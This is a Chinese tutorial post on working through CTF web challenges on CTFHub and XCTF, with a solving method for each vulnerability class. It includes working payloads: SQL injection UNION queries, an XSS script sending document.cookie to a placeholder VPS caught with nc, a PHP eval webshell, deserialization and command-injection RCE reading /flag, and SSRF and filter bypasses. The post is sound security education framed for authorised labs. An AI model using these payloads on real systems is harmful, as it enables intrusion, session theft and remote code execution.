CTF-Web题型刷题思路:CTFHub、攻防世界题型拆解

02-CTF-Web题型刷题思路:CTFHub、攻防世界题型拆解

合规声明:本文所涉及的靶场题目、解题技巧与工具用法,仅适用于 CTF 竞赛平台、公开漏洞靶场及自有实验环境。请勿在任何未经书面授权的真实系统上使用本文方法。合法边界详见本系列第1篇。


一、CTF 是什么?为什么它是"合法练兵场"

CTF 全称 Capture The Flag,直译"夺旗赛"。规则很简单:主办方搭建一批带漏洞的靶机或题目环境,参赛者要在规定时间内找到漏洞、拿到藏在题目里的 Flag ------通常是一段特定格式的字符串,比如 flag{xxxx}ctfhub{xxxx},提交给平台即得分。

为什么说它是"合法练兵场"?因为:

  1. 靶机是平台搭的,授权是明摆着的。 你打的是官方提供的训练环境,任何行为都在授权范围内,不存在"未经授权测试"的法律问题。
  2. 考点明确。 每道题都设计好了漏洞点,你的任务是"找到并利用它",正好用来检验和强化你对漏洞原理的理解。
  3. 有反馈、有竞争。 做对了拿分、错了有 writeup 可看,还有解题排行,正反馈拉满。

对从"学漏洞"走向"挖漏洞"的过渡期来说,CTF 是性价比最高的练习方式------它用真实攻击的思维,却没有真实攻击的风险。


二、主流平台盘点与选型建议

国内 Web 方向刷题,主流的就这几个,各有定位:

平台 特点 适合人群
CTFHub 中文平台,技能树式引导,题目按技能点分类,带在线环境,一键开题 新手入门、系统性打基础
攻防世界(XCTF) 老牌平台,很多题目是历年真实赛事原题,分类细 想刷经典题、备考比赛的选手
BUUCTF 题库聚合平台,题目量巨大,许多平台的题目都能找到 大量刷题党、"以量取胜"阶段
i春秋 有课程有实战有 CTF 板块,适合边学边练 新手、喜欢有讲解的
NSSCTF、天翼杯训练营等 各有特色题 进阶补充

新手建议路径:CTFHub 先把技能树 Web 分支刷一遍(打基础)→ 攻防世界刷经典题型(练思维)→ BUUCTF 海量刷题(提熟练度)。

为什么推荐这个顺序?CTFHub 的"技能树"设计就是为学习者准备的,它把 Web 漏洞拆成一棵技能树:SQL 注入是一个节点,XSS 是一个节点,每个节点下按难度分若干题。跟着技能树走,你不会迷路------这是新手最需要的。攻防世界的题偏"赛题风格",解题思路更接近真实比赛;BUUCTF 则胜在量大,适合刷熟练度。


三、Web 题常见题型总览

先建立全局观。CTF Web 方向常见题型,我按"漏洞类型"给你一张全景图:

bash 复制代码
Web 题型全景(CTF 常见)
├── 注入类
│   ├── SQL 注入(联合注入/布尔盲注/时间盲注/报错注入/堆叠注入)
│   ├── 命令注入(RCE 之命令执行)
│   ├── XXE(XML 外部实体注入)
│   └── SSTI(模板注入)
├── XSS 类(反射型/存储型/DOM 型,CTF 里常用于打 admin bot)
├── 文件类
│   ├── 文件上传(绕过黑名单/文件头/解析漏洞)
│   ├── 文件包含(LFI/RFI,配合伪协议读文件)
│   └── 文件读取(任意文件读取/下载)
├── 反序列化类(PHP 反序列化/Python pickle/Java 反序列化)
├── SSRF(服务端请求伪造,打内网/打本机)
├── 命令执行与 RCE(代码执行 eval/命令执行 system、SSTI 也算一类)
├── 前端题(JS 逆向、前端 JS 混淆、控制台调试、本地存储里的 flag)
├── 源码审计(直接给源码/备份文件泄露,人工审计找漏洞)
├── 其他高频考点
│   ├── 逻辑漏洞(越权、验证码绕过、支付逻辑)
│   ├── 信息泄露(.git 泄露、备份文件、目录遍历、敏感接口)
│   ├── 弱口令与登录绕过
│   ├── 协议绕过(HTTP 方法、请求走私、Host 头注入)
│   └── 框架/中间件漏洞(fastjson、Shiro、Struts2、Log4j2 等)
└── 杂项
    ├── 扫描器探测(dirsearch、nikto)
    ├── 各种思路题(robots.txt、JS 注释、HTTP 头里藏 flag)
    └── 密码学/编码(base64、MD5 截断、JWT 伪造)

不要被这张图吓到。打基础阶段,你不需要全精通,先吃透几类核心题型(注入、XSS、文件上传、文件包含、命令执行、信息泄露),再逐步扩展。框架漏洞和反序列化属于"专项进阶",本系列后续篇幅会专门拆。


四、CTFHub 技能树用法详解

CTFHub 之所以适合新手,就是因为它把"学习路径"替你规划好了。打开网站,进入技能树,你会看到 Web 方向下有这些模块:

bash 复制代码
CTFHub 技能树 · Web 模块(节选)
├── Web 前置知识(HTTP 协议、请求头、Burp 使用)
├── 信息泄露(备份文件、git 泄露、源码泄露、目录遍历)
├── SQL 注入(整数型/字符型/报错注入/布尔盲注/时间盲注/堆叠注入...)
├── 密码口令(弱口令、默认口令)
├── 文件上传(前端校验、.htaccess、MIME 类型、00 截断、解析漏洞...)
├── RCE(eval 执行、命令注入、命令注入绕过...)
├── 文件包含(php://filter、php://input、伪协议组合)
├── SSRF(URL 白名单绕过、内网访问...)
├── XSS(反射型/存储型,配合 Bot 打 Cookie)
├── 反序列化(PHP 序列化基础、POP 链...)
└── 请求走私、HTTP 头注入、XXE、SSTI 等进阶模块

用法建议:

  1. 按节点顺序刷,别跳。 技能树的设计是"前置知识 → 简单漏洞 → 复杂漏洞",跳着刷容易卡壳。比如刷 SQL 注入前,先刷完 HTTP 前置知识。
  2. 每个节点刷 2-3 题。 第一题看 Writeup 或提示弄明白原理,第二题独立完成,第三题盲做检验。刷透一个节点,比走马观花刷十个节点强。
  3. 卡住 30 分钟就去看提示/Writeup。 刷题不是考试,没必要死磕。看完 Writeup 后关掉它重做一遍,才算真正掌握。
  4. 记录每题用时和思路。 CTFHub 每题有在线环境,随手记录你的解法和用时,方便日后复盘。

五、按题型拆解:每一类的代表题与完整思维流

下面我按题型给出"解题思维流",每类配一道代表题。这个思维流是 CTF 解题的通用框架:

复制代码
观察 → 信息收集 → 定位漏洞 → 构造 payload → 拿 flag

5.1 SQL 注入类

代表题(以 CTFHub 整数型 SQL 注入为例):

Step 1 观察: 打开题目环境,一个简单的查询页面,URL 长这样:

bash 复制代码
http://challenge.ctfhub.com/xxx?id=1

Step 2 信息收集: 页面展示了 id=1 对应的数据。URL 参数 id 直接拼接进数据库查询,这是最典型的注入候选点。先做基础探测:

  • 输入 ?id=1 正常;
  • 输入 ?id=2 显示第二条数据,确认参数影响查询;
  • 输入 ?id=1' 页面报错或空白 → 说明单引号进入了 SQL 语句,存在注入点。

Step 3 定位漏洞: 用 ORDER BY 判断列数:

ini 复制代码
? id=1 order by 1    -- 正常
? id=1 order by 2    -- 正常
? id=1 order by 3    -- 报错 → 说明查询只有 2 列

小技巧:ORDER BY 报错说明列数超了,所以"刚好不报错的最大值"就是列数。

Step 4 构造 payload: 用联合查询爆库名、表名、字段名,最后拿 flag:

csharp 复制代码
# 1. 先确认回显位置
?id=-1 union select 1,2
# 2. 爆当前数据库名
?id=-1 union select 1,database()
# 3. 爆库里的表
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
# 4. 爆字段
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
# 5. 拿数据
?id=-1 union select 1,flag from flag

细节解释:id=-1 让正常查询无结果,联合查询的数据才会回显;group_concat() 把多行结果合并成一行便于显示。这里的 flag 表、flag 字段是这类题目常见的命名,具体名字以你爆出来的为准。

Step 5 拿 flag: 拿到形如 flag{...}ctfhub{...} 的字符串,提交,过关。

盲注变体思维: 如果页面不回显查询结果,就用布尔盲注(if(条件,正常,异常))或时间盲注(if(条件,sleep(3),0)),本质都是"把数据库里的字符逐位猜出来"。原理一样,只是判断"对错"的方式不同。

5.2 XSS 类

代表题(CTFHub 反射型 XSS): 页面有一个提交框,输入的参数会"反射"到页面上。

思维流:

  1. 观察: 输入 test,发现它原样出现在页面的 <p> 标签里。
  2. 定位: 没有过滤直接输出,典型反射型 XSS。
  3. 构造 payload:
xml 复制代码
<script>alert(1)</script>

提交后弹窗,说明 XSS 成立。但题目要的不是弹窗,是 flag------这类题通常是"你的输入会被管理员(Bot)访问",所以目标是窃取管理员的 Cookie 或让管理员把 flag 发给你

  1. 进阶 payload(存储型/打 Bot): 你需要一个 VPS 接收数据,构造:
html 复制代码
<script>
  new Image().src = "http://你的VPS:8080/?cookie=" + document.cookie;
</script>

在 VPS 上用 nc -lvnp 8080 监听,等 Bot 访问后就能收到带 Cookie 的请求。

实践提示:CTFHub 的 XSS 题页面会给一个 Bot 地址,把 payload 提交到题目给的"提交给管理员"接口即可。自己做本地实验时,可以用 DVWA 的 XSS 模块配合本地监听练习。

5.3 文件上传类

代表题(CTFHub 文件上传-前端校验): 一个上传点,选一个 .jpg 能上传成功,选 .php 提示格式不正确。

思维流:

  1. 观察: 前端 JS 校验了后缀,上传 1.jpg 成功并给了访问路径。
  2. 定位: 校验在前端(浏览器 JS),服务端没做或做得不严。
  3. 绕过前端校验: 两种常见思路:
    • Burp 拦截改包: 上传 1.php,拦截请求把文件名改为 1.jpg,看后端是否还校验;
    • 直接禁用/绕过前端 JS(F12 删掉校验函数,或直接构造 POST 请求)。
  4. 构造 payload: 上传一个 WebShell:
php 复制代码
<?php @eval($_POST['cmd']); ?>

用中国蚁剑(AntSword)或手工 POST 连接,读取当前目录或 flag 文件。

说明:@eval($_POST['cmd']) 是最常见的"一句话木马",@ 抑制报错,$_POST['cmd'] 接受密码参数执行任意 PHP 代码。在靶场里练可以,但请记住------这玩意儿在真实环境中上传到别人服务器,就是《刑法》第285条伺候。

  1. 拿 flag: 连上后 find / -name '*flag*' 或读 Web 目录下的 flag 文件。

上传题的核心考点链: 前端校验 → MIME 类型 → 黑名单后缀 → 白名单后缀 → 文件内容头 → 解析漏洞(.user.ini / .htaccess / 中间件解析差异)→ 图片马 + 文件包含。CTFHub 把每一环拆成了单独题目,逐个刷完,你就能建立起完整的"上传绕过"知识树。

5.4 反序列化类

代表题(PHP 反序列化): 一个 index.php,代码大致是:

php 复制代码
class A {
    public $cmd = "ls";
    public function __destruct() {
        system($this->cmd);
    }
}
$data = unserialize($_POST['data']);

思维流:

  1. 观察: 存在 unserialize(),且 A 类的 __destruct() 魔术方法调用了 system()
  2. 定位漏洞: unserialize() 接收用户输入且未过滤,__destruct() 在对象销毁时自动执行------这就构成反序列化 RCE 的可能。
  3. 构造 payload: 需要先序列化一个对象,把 cmd 设成我们想要的命令。可以用 PHP 在线生成:
php 复制代码
class A {
    public $cmd = "cat /flag";
}
echo serialize(new A());
// 输出: O:1:"A":1:{s:3:"cmd";s:8:"cat /flag";}

把生成的序列化字符串 POST 给 data 参数即可执行 cat /flag

新手常见误区:以为序列化字符串是自己手写的。实际上序列化字符串的格式是固定的,你只需要在本地写一个同名类,serialize() 生成后复制过去。这个"本地构造 → 远端触发"的流程,就是反序列化利用的通用套路。

进阶: 真实赛题通常没有这么"善良",会让你找一条 POP 链 (多个魔术方法串联触发),甚至配合 phar:// 伪协议触发。这一块属于专项进阶,先把基础理解透。

5.5 SSRF 类

代表题(CTFHub SSRF-内网访问): 页面有一个 URL 参数,服务端会去请求这个 URL 并把结果返回。

思维流:

  1. 观察: 输入 http://127.0.0.1/,返回了本机首页内容 → 服务端真的去请求了,SSRF 成立。
  2. 定位: 目标是访问内网资源。
  3. 构造 payload: 题目会提示"内网有一个 127.0.0.1:8080 的 flag 服务":
ini 复制代码
?url=http://127.0.0.1:8080/flag

ini 复制代码
?url=http://127.0.0.1:8080

返回了 flag,提交即可。

  1. 进阶: 更难的 SSRF 题会加"限制"------比如 URL 必须以 http:// 开头、不能包含 127.0.0.1、只能访问特定端口。绕过手法有:IP 变形(0.0.0.02130706433、十六进制)、DNS 重绑定、协议变体(gopher:// 打内网 Redis)、URL 解析绕过(@ 符号、# 注释)等。记住:任何"服务端发起的网络请求"功能点,都是 SSRF 的候选。

5.6 命令执行类

代表题(CTFHub RCE-eval): 页面直接给你一段代码:

php 复制代码
eval($_REQUEST["cmd"]);

思维流:

  1. 观察: 存在 eval() 且参数直接来自请求 → RCE(代码执行)。
  2. 构造 payload: 传入:
ini 复制代码
?cmd=system("ls /");
?cmd=system("cat /flag");

说明:system() 是 PHP 执行系统命令的函数,eval() 会把字符串当 PHP 代码执行,两者配合就能执行任意命令。这类题考的就是"认识函数 + 知道怎么拼 payload"。

命令注入变体: 如果代码是 system("ping " . $ip) 这种拼接,就是命令注入,利用 ;|&& 等符号拼接命令:

ini 复制代码
?ip=127.0.0.1;cat /flag
?ip=127.0.0.1||cat /flag

绕过变体: 过滤了空格、flag 关键词、cat 命令时,用 ${IFS} 代替空格、fla* 通配符、c""at 拼接字符串等技巧绕过。

5.7 JS 前端题

代表题(前端 JS 混淆): 打开页面,提示"输入正确的 flag"。

思维流:

  1. 观察: F12 打开开发者工具,查看 Network/JS 文件。这类题 flag 藏在 JS 代码里需要逆向前端校验逻辑
  2. 信息收集: 右键"查看源代码",或打开 script.js,常见藏 flag 位置:
    • 直接写死在 JS 里(var flag = "flag{xxx}");
    • 前端校验函数 check(input),把正确 flag 加密后比较,需要逆向算法;
    • 藏在 Cookie、localStorage、注释、Console 输出里。
  3. 定位与破解: 找到校验函数后,把函数逻辑"反过来"解出 flag。比如:
javascript 复制代码
function check(pwd) {
    return btoa(pwd) === "ZmxhZ3tqczFzZWNyZXR9";
}

btoa 是 base64 编码,那么反解:

bash 复制代码
echo "ZmxhZ3tqczFzZWNyZXR9" | base64 -d

得到 flag{js1secret}

一句话心得:前端题的本质是"所有秘密都不可信"------因为代码在用户手里,加密只是掩耳盗铃。拿到 JS 就分析,别慌。

5.8 源码审计类

代表题(信息泄露-源码泄露): 网站给了个提示"源码泄露了",通常指 .git 目录暴露。

思维流:

  1. 观察: 访问 http://目标/.git/,返回了目录列表 → 存在 .git 泄露。
  2. 信息收集:GitHackgithack 等工具把泄露的源码克隆下来,或手动补全 .git 目录。
  3. 定位漏洞: 通读源码,找敏感信息(数据库密码、flag 硬编码、管理员后台路径)。
  4. 拿 flag: 这类题 flag 常在配置文件、备份文件或源码注释里。

其他源码获取途径: 备份文件(1.php.bakwww.zipindex.php.swp)、目录遍历、robots.txt 泄露路径。CTFHub 的"信息泄露"模块把这些情况都做了题,值得全刷。


六、flag 提交与积分规则

  • Flag 格式: 不同比赛/平台前缀不同。CTFHub 是 ctfhub{...},很多比赛是 flag{...},也有平台自定义。如果你发现形如 xxx{yyy} 的字符串,直接复制提交试试,大概率就是。
  • 提交方式: 平台每题有一个"提交 Flag"输入框,填入完整字符串(含大括号)提交。大小写敏感,别打错。
  • 首次提交有效: 大部分平台以首次提交为准,重复提交不重复计分。
  • 动态 Flag: 现代 CTF 平台(尤其在线靶场)普遍使用动态 flag ------每个用户每次开环境拿到的 flag 都不同,目的是防"抄答案"。所以刷题时一定用自己的环境,网上 Writeup 里的 flag 直接抄是提交不上的。
  • 积分体系: 平台通常按难度给分,简单题 10-50 分,难题几百上千分。CTFHub 还有"通过率"排行和称号,刷得多会有成就感正反馈。

七、刷题方法论:怎么刷才有效

7.1 分类专项突破 vs 混合练习

两种模式各有用途,正确的姿势是分阶段组合使用

阶段 模式 目标
入门期(前2-3周) 分类专项突破 建立"某种漏洞长什么样、怎么打"的条件反射
提高期 混合练习(随机抽题) 训练"识别漏洞类型"的能力,模拟实战找入口
赛前期 限时模拟赛 训练时间分配和取舍

专项突破的刷法: 今天只刷 SQL 注入,明天只刷文件上传。刷完一类,你脑子里就建立了一张"该类漏洞的考点图谱"(如上传题从前端校验一直绕到解析漏洞),这类图谱是笔试、面试、挖洞都通用的核心资产。

混合练习的刷法: 随机拿题,不许先看考点标签。先做信息收集和探测,自己判断"这题大概是哪类",再动手。这才是"实战"的感觉------真实世界不会在题目上贴"SQL注入"的标签。

7.2 错题复盘本:你的私人知识库

强烈建议建一个"错题复盘"文档(本地 Markdown 或 Notion 都行),每道卡住的题记三件事:

复制代码
【题目】题目名 / 平台 / 考点
【卡点】我在哪一步卡住了?
【解法】正确解法是什么?关键 payload 是什么?
【沉淀】这一类题型的通用套路是什么?下次怎么快速识别?

复盘的价值在于把"看会了"变成"做会了"。很多同学刷题刷的是"数量",实际上刷的是"看 Writeup 的数量"------看完觉得"哦原来如此",关上网页全忘了。而复盘本强制你输出,输出才真正形成记忆。

7.3 高质量输入:读别人的 Writeup

刷题之外,大量读优秀 Writeup 同样重要。推荐渠道:

  • 平台自带的题解区(CTFHub、攻防世界都有);
  • CSDN、FreeBuf、先知社区、博客园上的 writeup 合集;
  • GitHub 上的 writeup 仓库(搜 CTF writeup);
  • 各大赛事的官方 writeup(RoarCTF、XCTF 等)。

读 Writeup 的方法:先自己试,卡住了再读,读完关掉重做。 直接抄答案等于没刷。


八、CTF 与实战的区别:心态要转变

最后必须泼一盆冷水:CTF 打得好 ≠ 实战挖洞能力强。 两者差距在哪?

css 复制代码
                  CTF 竞赛              真实 SRC 挖洞
出题方式          明确考点,就等你去打    没有考点,入口要自己找
目标             有 Flag,逻辑清晰        资产多、范围杂,不知道从哪下手
环境             单机/隔离环境,安全      真实业务,有人用、有监控、有底线
反馈             提交 flag 立刻判分       提交报告等审核,可能石沉大海
难度             单一漏洞利用            需要资产测绘+多漏洞串联+影响评估

具体来说:

  1. CTF 告诉你"哪里有洞",实战要自己"找洞"。 CTF 题目的 URL、参数、功能点都是精心设计的,你一上来就直奔主题;真实系统里几百个功能点,你得靠资产测绘、指纹识别、代码审计慢慢筛。
  2. CTF 是"解一道题",实战是"做一个项目"。 实战需要完整流程:资产范围确认 → 测绘 → 测试 → 报告 → 跟审核 → 修复合验。
  3. CTF 无风险,实战每一步都要评估影响。 你在 CTF 里随便 drop table,在真实系统里就是犯罪。实战里"点到为止"不仅是道德要求,更是生存要求。

所以本系列的进阶路径很清晰:第2、3篇在 CTF 里把"漏洞利用"练熟(合法无风险)→ 第4、5篇进入 SRC 学"完整挖洞流程和报告"(真实但守规则)→ 后续专项篇深入中间件和数据库漏洞。 CTF 是你的训练场,SRC 才是你检验训练成果的试炼场,两者互补,缺一不可。


九、本篇小结

  1. CTF 是合法练兵场,目标明确、环境安全、反馈即时,是练漏洞利用手感的首选。
  2. 平台选择:CTFHub 打基础(技能树)→ 攻防世界刷经典 → BUUCTF 刷数量。
  3. 题型全景:注入、XSS、文件、反序列化、SSRF、RCE、前端、源码审计八大类,先吃透前六类。
  4. 解题思维流观察 → 信息收集 → 定位漏洞 → 构造 payload → 拿 flag,五步走不迷路。
  5. 刷题方法论:专项突破建图谱 → 混合练习练识别 → 错题复盘本沉淀 → 高质量读题解。
  6. CTF ≠ 实战,但它为实战铺垫了最扎实的"漏洞识别与利用"基本功。

下一篇进入第3篇,聊聊怎么把刷过的题写成规范的 Writeup------输出倒逼输入,这一步做完,你的刷题效果会翻倍。


合规提示:本文所有方法与工具请仅在 CTF 平台、公开靶场或已获书面授权范围内使用。

相关推荐
阿拉斯攀登2 小时前
CTF-Writeup规范:解题思路、漏洞分析、复盘总结
架构
TunerT_TQ2 小时前
智能体评测的哲学——当“跑分”不再等于“能力”|第0期 · 序章
安全·架构·agent
JouYY3 小时前
我用DSH高效管理了我的prompt收藏
架构·llm·agent
岁月如歌77863 小时前
分布式锁完全指南:从数据库到 Redisson 的演进
java·后端·架构
阿拉斯攀登3 小时前
中间件漏洞专项:Tomcat、Nginx、Apache漏洞复现与修复
架构
潮族大Z3 小时前
App 架构演进:MVC → MVP → MVVM → MVI,一篇看懂
架构
2601_962218473 小时前
万象生鲜系统智能报表引擎技术为生鲜企业提供数字化经营分析能力
大数据·运维·微服务·云原生·架构
阿拉斯攀登3 小时前
Java-PHP反序列化漏洞原理与实战
架构
艺杯羹3 小时前
AI编程时代软件工程怎么学:从底层思维认知到驱动智能体的架构跃迁
java·人工智能·ai·架构·软件工程·ai编程